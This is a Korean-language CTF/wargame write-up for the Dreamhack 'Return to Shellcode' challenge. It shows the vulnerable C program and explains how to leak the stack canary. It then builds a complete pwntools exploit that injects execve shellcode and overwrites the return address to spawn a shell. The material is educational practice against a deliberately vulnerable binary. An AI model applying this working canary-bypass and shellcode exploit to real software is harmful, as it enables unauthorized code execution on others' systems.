Fascination
article thumbnail

Return to Shellcode

Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.


# 문제 분석

- Return to Shellcode

  • 반환 주소를 shellcode가 저장된 곳으로 우회하여 프로그램의 실행 흐름을 조작하는 것
  • 해당 문제는 카나리를 우회하고, 쉘 코드와 Return Address Overwrite를 이용하여 쉘을 획득할 수 있음

- Checksec

  • 카나리가 적용되어 있음

 

- 소스코드

  • buf의 주소 및 rbpbuf 사이의 주소 차이를 알려줌
  • 스택 버퍼인 buf에 총 두 번의 입력을 받음 → 두 입력 모두에서 오버플로우 발생
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

- 카나리 우회

  • 두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료됨
  • 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 함
  • 첫 번째 입력의 바로 뒤에 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 적절한 카나리 값을 구할 수 있음
read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

 

 

# exploit

  • 카나리를 구하면 두 번째 입력으로 반환 주소를 덮을 수 있음
  • get_shell()과 같은 함수가 없으므로 쉘을 획득하는 코드를 어딘가에 저장하고 그 주소로 실행 흐름을 옮겨야 함
    • 주소를 알고 있는 buf에 쉘코드를 저장하고, 이 주소를 이용하여 익스플로잇을 작성하면 될 것
  • 스택 프레임 정보 수집
    • buf와 sfp의 정보를 가져오는 방식이 동일하나 표현 방법이 여러가지임
from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./r2s")
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ") # "buf: "까지 읽어들이기
buf = int(p.recvline()[:-1], 16) #개행 앞까지 읽어들이기
slog("Address of buf", buf)
p.recvuntil("$rbp: ") # "$rbp: "까지 읽어들이기
buf2sfp = int(p.recvline().split()[0]) # 공백을 기준으로 리스트를 구성하고 그 중 0번째 인덱스 값을 가져옴
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)

  • 카나리 릭
    • 스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야 함
    • buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력됨

stack frame

from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./r2s")
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ") # "buf: "까지 읽어들이기
buf = int(p.recvline()[:-1], 16) #개행 앞까지 읽어들이기
slog("Address of buf", buf)
p.recvuntil("$rbp: ") # "$rbp: "까지 읽어들이기
buf2sfp = int(p.recvline().split()[0]) # 공백을 기준으로 리스트를 구성하고 그 중 0번째 인덱스 값을 가져옴
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)


# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7)) # nullbyte + 나머지 7바이트 canary 값
slog("Canary", cnry)

  • exploit
from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./r2s")
# p = remote('host3.dreamhack.games',18992)
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ") # "buf: "까지 읽어들이기
buf = int(p.recvline()[:-1], 16) #개행 앞까지 읽어들이기
slog("Address of buf", buf)
p.recvuntil("$rbp: ") # "$rbp: "까지 읽어들이기
buf2sfp = int(p.recvline().split()[0]) # 공백을 기준으로 리스트를 구성하고 그 중 0번째 인덱스 값을 가져옴
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)


# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

#[3] exploit
shellcode = asm(shellcraft.sh())
payload = shellcode+b"A"*(buf2cnry-len(shellcode))+p64(cnry)+b"B"*0x8+p64(buf)
p.sendline(payload)

p.interactive()

local binary로 익스플로잇 했을 경우

 

 

# 실행 결과

remote로 연결하여 플래그 획득

 

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2022.09.13
[Dreamhack] Return to Library  (0) 2022.09.07
[Dreamhack] Return Address Overwrite  (0) 2022.09.01
[Dreamhack] basic_exploitation_001  (0) 2022.09.01
[Dreamhack] basic_exploitation_000  (0) 2022.08.31
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!